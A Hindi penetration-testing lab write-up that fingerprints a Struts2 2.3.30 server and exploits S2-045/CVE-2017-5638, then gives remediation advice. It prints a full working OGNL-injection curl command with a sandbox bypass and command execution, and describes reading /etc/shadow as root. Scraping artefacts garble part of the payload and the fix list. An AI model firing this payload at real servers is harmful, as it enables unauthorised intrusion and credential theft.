
Apache Struts2 OGNL इंजेक्शन (CVE-2017-5638) का प्रदर्शन करने वाली एक व्यावहारिक प्रयोगशाला, जिसमें चरण-दर-चरण सिस्टम विश्लेषण, शोषण, सैंडबॉक्स बाइपास, और पेनिट्रेशन टेस्टिंग शिक्षा के लिए पोस्ट-एक्सप्लॉइटेशन तकनीकें शामिल हैं।

कंटेनर शुरू करने के बाद, Struts2 लॉग दिखाते हैं कि एप्लिकेशन struts-default.xml, struts-plugin.xml, और struts.xml जैसी परिचित कॉन्फ़िगरेशन फ़ाइलों को लोड करता है। यह पुष्टि करता है कि उपयोग में आने वाला फ्रेमवर्क Apache Struts2 है।

एक उल्लेखनीय बिंदु इस पंक्ति में है:
Choosing bean (jakarta) for (org.apache.struts2.dispatcher.multipart.MultiPartRequest)
यह पंक्ति इंगित करती है कि Struts2 multipart/form-data प्रकार के अनुरोधों को संभालने के लिए Jakarta मल्टीपार्ट पार्सर (मल्टीपार्ट अपलोड डेटा विश्लेषक) चुन रहा है, जो आमतौर पर फ़ाइल अपलोड कार्यक्षमता में पाया जाता है।
S2-045 / CVE-2017-5638 के विश्लेषण के दौरान यह एक महत्वपूर्ण संकेत है, क्योंकि यह कमजोरी Struts2 द्वारा मल्टीपार्ट अनुरोधों को पार्स करते समय त्रुटियों को संभालने की प्रक्रिया से संबंधित है, विशेष रूप से अमान्य Content-Type हेडर के साथ।
हालाँकि, यह लॉग केवल यह साबित करता है कि एप्लिकेशन Struts2 और जकार्ता-शैली मल्टीपार्ट हैंडलर का उपयोग करता है। यह अभी तक यह निष्कर्ष निकालने के लिए पर्याप्त नहीं है कि एप्लिकेशन निश्चित रूप से कमजोर है। पुष्टि करने के लिए, हमें struts2-core के संस्करण का पता लगाना होगा और इसकी तुलना प्रभावित संस्करण श्रेणी से करनी होगी।



curl का उपयोग करके वेब सेवा तक पहुँचने पर, प्रतिक्रिया हेडर दिखाते हैं कि एप्लिकेशन Jetty 9.2.11.v20150529 पर चल रहा है। यह जानकारी एप्लिकेशन (सर्वलेट कंटेनर) चलाने वाले वातावरण की पहचान करने में मदद करती है, लेकिन सीधे Struts2 के संस्करण का खुलासा नहीं करती है।
वेब इंटरफ़ेस Struts2 Showcase - Fileupload sample पृष्ठ लौटाता है, जिसमें एक अपलोड फ़ॉर्म है:
method="POST" enctype="multipart/form-data" action="/upload.action"
यह पहले के लॉग से मेल खाता है जहाँ Struts2 ने MultiPartRequest के लिए jakarta चुना था: एप्लिकेशन में वास्तव में multipart/form-data के माध्यम से फ़ाइल अपलोड हैंडलिंग प्रवाह है।
⇒ सोच: एंडपॉइंट /upload.action multipart/form-data का उपयोग करता है, जो Struts2 द्वारा Jakarta MultiPartRequest के माध्यम से संसाधित तंत्र से मेल खाता है। यह S2-045/CVE-2017-5638 के संदेह को मजबूत करने वाला संकेत है, लेकिन यह निष्कर्ष निकालने से पहले हमें Struts2 संस्करण निर्धारित करना होगा। इसके बाद, struts2-core के संस्करण और एप्लिकेशन अमान्य Content-Type प्राप्त करने पर त्रुटियों को कैसे संभालता है, इसके बारे में गहन सत्यापन अभी भी आवश्यक है।
यह पहचानने के बाद कि एप्लिकेशन में multipart/form-data का उपयोग करने वाला अपलोड एंडपॉइंट है, अगला विश्लेषण चरण Struts2 का वास्तविक संस्करण खोजना है। यह महत्वपूर्ण है क्योंकि पिछले संकेतों ने केवल दर्शाया था कि एप्लिकेशन मल्टीपार्ट अपलोड से संबंधित तंत्र रखता है, जो अभी तक यह निष्कर्ष निकालने के लिए पर्याप्त नहीं है कि यह कमजोर है।

Endpoint 8001 की सेवा करने वाले सही कंटेनर की पहचान करने के बाद, लाइब्रेरीज़ की जाँच कंटेनर project1-lab01-1 के अंदर ही की जाती है।
परिणाम में struts2-core फ़ाइल मिली:
/root/.m2/repository/org/apache/struts/struts2-core/2.3.30/struts2-core-2.3.30.jar
इस पथ से, हम यह निर्धारित कर सकते हैं कि एप्लिकेशन Apache Struts2 2.3.30 का उपयोग कर रहा है।

प्रकाशित CVE-2017-5638 / S2-045 कमजोरी से इसकी तुलना करने पर, यह पैच से पहले कई पुराने Struts2 संस्करणों को प्रभावित करता है, जिसमें 2.3.x शाखा भी शामिल है। जब इसे निम्नलिखित के साथ जोड़ा जाता है:
Framework: Apache Struts2 Version: 2.3.30 Multipart parser: Jakarta Endpoint: /upload.action Content-Type: multipart/form-data
विश्लेषण स्थिति श्रृंखला स्पष्ट हो जाती है:
`Struts2 Version 2.3.30 < Version 2.3.32
हालाँकि, विश्लेषण के दृष्टिकोण से, एक कमजोर संस्करण केवल प्रभावित होने की संभावना का प्रमाण है। व्यवहार स्तर पर पुष्टि करने के लिए, हमें एक असामान्य मल्टीपार्ट अनुरोध भेजना होगा और प्रतिक्रिया/लॉग का निरीक्षण करना होगा कि क्या यह Struts2 मल्टीपार्ट पार्सर की त्रुटि हैंडलिंग शाखा में प्रवेश करता है।
⇒ सोच: इस बिंदु पर, यह अब केवल फ्रेमवर्क की पहचान करने के बारे में नहीं है; संस्करण 2.3.30 पुष्टि करता है कि एप्लिकेशन S2-045/CVE-2017-5638 की प्रभावित संस्करण श्रेणी के अंतर्गत आता है। साक्ष्य श्रृंखला को पूरा करने के लिए शेष चरण मल्टीपार्ट त्रुटि हैंडलिंग व्यवहार को सत्यापित करना है।

हमें यह जाँचने की आवश्यकता है कि क्या /upload.action को भेजे गए अनुरोध वास्तव में Struts2 मल्टीपार्ट प्रसंस्करण तंत्र से गुज़रते हैं। यहाँ, मैं हैंडलिंग तंत्र का परीक्षण करने के लिए -F विकल्प के साथ curl कमांड का उपयोग करता हूँ। और लौटाया गया परिणाम भागों में विभाजित है:
`
⇒ एक मान्य अनुरोध साबित करता है कि /upload.action वास्तव में मल्टीपार्ट अपलोड तंत्र से गुज़रता है क्योंकि curl -F multipart/form-data उत्पन्न करता है और सर्वर अनुरोध के प्रत्येक भाग को पार्स कर सकता है।


Content-Type को multipart/form-data घोषित करने वाला अनुरोध भेजने के बाद लेकिन ऐसे निकाय के साथ जो मल्टीपार्ट संरचना का पालन नहीं करता, सर्वर अभी भी HTTP 200 OK लौटाता है। हालाँकि, ContentType, FileName, File, और Caption फ़ील्ड सभी खाली हैं। Docker लॉग की जाँच करने पर, हम देखते हैं कि कोई बाउंड्री (मल्टीपार्ट में भागों के बीच विभाजक स्ट्रिंग) नहीं है, और क्लाइंट को अभी भी HTTP 200 OK प्राप्त होता है। हालाँकि, Struts2 वास्तव में अनुरोध को संसाधित करते समय एक त्रुटि का सामना किया।
यह साक्ष्य श्रृंखला साबित करता है:
दोषपूर्ण मल्टीपार्ट अनुरोध → Struts2 अनुरोध को लपेटता है → MultiPartRequestWrapper को कॉल किया जाता है → JakartaMultiPartRequest अनुरोध को पार्स करता है → गुम बाउंड्री के कारण FileUploadException
⇒ S2-045/CVE-2017-5638 से संबंधित घटकों से मेल खाता है। इस प्रकार, स्थिति श्रृंखला अधिक पूर्ण है: कमजोर संस्करण, जकार्ता पार्सर, अपलोड एंडपॉइंट, और दोषपूर्ण अनुरोध सही मल्टीपार्ट प्रसंस्करण शाखा में जाता है।
S2-045/CVE-2017-5638 का महत्वपूर्ण बिंदु केवल मल्टीपार्ट पार्सर की विफलता में नहीं है। पार्सर त्रुटि केवल प्रारंभिक ट्रिगरिंग स्थिति है। खतरनाक हिस्सा यह है कि Struts2 बाद में त्रुटि संदेश को कैसे संभालता है। प्रभावित Struts2 संस्करणों के साथ, जब मल्टीपार्ट पार्सर एक त्रुटि का सामना करता है, त्रुटि सामग्री को Struts2 संदेश हैंडलिंग तंत्र में फीड किया जा सकता है। यदि कोई हमलावर त्रुटि में दिखाई देने वाले डेटा के एक हिस्से को नियंत्रित करता है, विशेष रूप से Content-Type हेडर से, उस डेटा का Struts2 द्वारा OGNL (ऑब्जेक्ट-ग्राफ़ नेविगेशन लैंग्वेज - Struts/XWork की एक्सप्रेशन भाषा) के माध्यम से मूल्यांकन किया जा सकता है।
सोच:
असामान्य Content-Type → जकार्ता मल्टीपार्ट पार्सर पार्सिंग त्रुटि → Struts2 त्रुटि संदेश उत्पन्न/लॉग करता है → त्रुटि संदेश एक्सप्रेशन मूल्यांकन तंत्र से गुज़रता है → यदि दुर्भावनापूर्ण OGNL मौजूद है, तो यह RCE का कारण बन सकता है
यह पहचानने के बाद कि लक्ष्य Struts2 का उपयोग करता है, और चूँकि Struts2 अपने एक्सप्रेशन इंजन के रूप में OGNL का उपयोग करता है, PayloadsAllTheThings पर खोज करने से पता चलता है कि new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()) को Struts2 में इंजेक्ट करना विफल हो जाएगा क्योंकि Struts2 में एक सैंडबॉक्स है जो java.lang.Runtime तक पहुँच को अवरुद्ध करता है।

⇒ मिले पेलोड को Struts2 शोषण संरचना में इकट्ठा करें:
जकार्ता पार्सर को ट्रिगर करें
(#_="multipart/form-data")
Struts2 सैंडबॉक्स को बायपास करें (आवश्यक)
(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))
कमांड निष्पादन पेलोड
(new java.lang.String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()))
हालाँकि, व्यवहार में पेलोड निष्पादित करते समय, हमें दो समस्याओं का सामना करना पड़ता है:
readAllBytes() फ़ंक्शन केवल Java 9 से समर्थित है। यदि हम इसका उपयोग करने पर जोर देते हैं, तो OGNL चुपचाप विफल हो जाएगा और एक खाली HTML पृष्ठ लौटाएगा। इसे org.apache.commons.io लाइब्रेरी (हमेशा Struts2 में उपलब्ध) से IOUtils वर्ग का उपयोग करके स्ट्रीम को पढ़ने के लिए स्विच करके हल किया जाता है।HttpServletResponse तक पहुँचकर, आउटपुट को पहले प्रिंट करने के लिए getWriter().println() का उपयोग करके, और फिर कनेक्शन को तुरंत समाप्त करने के लिए flush() और close() को कॉल करके हल किया जाता है। यह सर्वर को साफ कमांड निष्पादन परिणाम लौटाने के लिए मजबूर करता है, सभी जंक HTML इंटरफ़ेस को बायपास करता है।⇒ उपरोक्त संशोधनों को पुन: इकट्ठा करके, हम पूर्ण curl कमांड प्राप्त करते हैं (ProcessBuilder + IOUtils + Response Writer का उपयोग करके):
curl -i -s -X POST "http://192.168.3.137:8001/doUpload.action" \
-H 'Content-Type: %{(#_="multipart/form-data").(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="id").(#iswin=(@java.lang.System@getProperty("os.name").toLowerCase().contains("win"))).(#cmds=(#iswin?{"cmd.exe","/c",#cmd}:{"/bin/bash","-c",#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().println(#ros)).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().flush()).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().close())}' \
-d "foo=bar"

शोषण सफल!!!
यद्यपि हमने रूट विशेषाधिकारों के साथ RCE प्राप्त किया, प्रत्येक कमांड को एक अलग HTTP अनुरोध के माध्यम से भेजना पड़ता है, जो एक गैर-संवादात्मक वातावरण प्रदान करता है। एक रिवर्स शेल एक स्थायी सत्र स्थापित करने की अनुमति देता है, लक्ष्य प्रणाली के साथ सीधे बातचीत करता है जैसे कि मशीन के सामने बैठे हों, सूचना संग्रह और गहरे पोस्ट-एक्सप्लॉइटेशन के लिए सेवा प्रदान करता है।
विशेषाधिकार सत्यापन
सफल शोषण के बाद, सिस्टम पर विशेषाधिकार सत्यापित करें:
uid=0(root) gid=0(root) groups=0(root)
→ एप्लिकेशन रूट विशेषाधिकारों के साथ चलता है — किसी विशेषाधिकार वृद्धि की आवश्यकता नहीं है।
संवेदनशील डेटा संग्रह
/etc/shadow फ़ाइल (वह फ़ाइल जिसमें पासवर्ड हैश होते हैं, जिसे केवल रूट के पास एक्सेस करने की अनुमति है) पढ़ें:

→ साबित करता है कि हमलावर के पास सिस्टम फ़ाइलों तक पूर्ण पढ़ने/लिखने की पहुँच है, जिसमें सबसे संवेदनशील फ़ाइलें भी शामिल हैं।
रिवर्स शेल पर नोट
रिवर्स शेल स्थापना असफल रही क्योंकि Windows पर Docker कंटेनर एक आंतरिक नेटवर्क (bridge/NAT) का उपयोग करता है; कंटेनर स्थानीय LAN पर हमलावर की मशीन (Kali) से वापस कनेक्ट नहीं हो सकता। हालाँकि, यह कमजोरी की गंभीरता को प्रभावित नहीं करता है — हमलावर ने रूट विशेषाधिकारों के साथ RCE प्राप्त किया और सिस्टम पर कोई भी कमांड निष्पादित कर सकता है।
इस सिस्टम पर OGNL इंजेक्शन कमजोरी (CVE-2017-5638 / S2-045) का मूल्यांकन उच्चतम जोखिम स्तर पर किया गया है:
इस कमजोरी को पूरी तरह से ठीक करने के लिए, सिस्टम प्रशासन और विकास टीमों को निम्नलिखित उपायों को लागू करना चाहिए (प्राथमिकता के क्रम में):
तत्काल प्राथमिकताएँ (अल्पकालिक):
JakartaMultiPartRequest लाइब्रेरी के मूल कार्यान्वयन में निहित है।root उपयोगकर्ता के अंतर्गत न चलाएँ। एप्लिकेशन को चलाने के लिए आवश्यक न्यूनतम विशेषाधिकारों वाला एक समर्पित उपयोगकर्ता (जैसे, struts_user) बनाया जाना चाहिए।उच्च प्राथमिकताएँ (दीर्घकालिक और गहराई में रक्षा):
Content-Type हेडर में OGNL पेलोड (जैसे, %{...}, ${...}, ognl, java.lang.ProcessBuilder) वाले HTTP अनुरोधों का पता लगाने और उन्हें ब्लॉक करने के लिए WAF नियम कॉन्फ़िगर करें।struts.xml कॉन्फ़िगरेशन फ़ाइल (struts.multipart.parser=cos) में Pell या COS जैसी वैकल्पिक लाइब्रेरी पर स्विच करने पर विचार करें।| मानदंड | मूल्यांकन | विवरण |
|---|
| CVSS स्कोर | 10.0 (गंभीर) | अधिकतम पूर्ण स्कोर। |
| प्रमाणीकरण | आवश्यक नहीं | इसका शोषण करने के लिए हमलावर को खाता या लॉग इन होने की आवश्यकता नहीं है। |
| जटिलता | बहुत कम | केवल Content-Type हेडर में पेलोड वाला एक HTTP अनुरोध (POST) भेजने की आवश्यकता है। |
| प्राप्त विशेषाधिकार | root | उच्चतम विशेषाधिकार स्तर पर एप्लिकेशन/कंटेनर पर पूर्ण नियंत्रण, किसी भी फ़ाइल (जैसे /etc/shadow) को पढ़ने/लिखने की क्षमता के साथ। |
| पार्श्व गति | उच्च | समझौता किए गए कंटेनर से, हमलावर आंतरिक नेटवर्क (LAN) को स्कैन कर सकता है और अन्य कंटेनरों या होस्ट सर्वरों पर हमला कर सकता है। |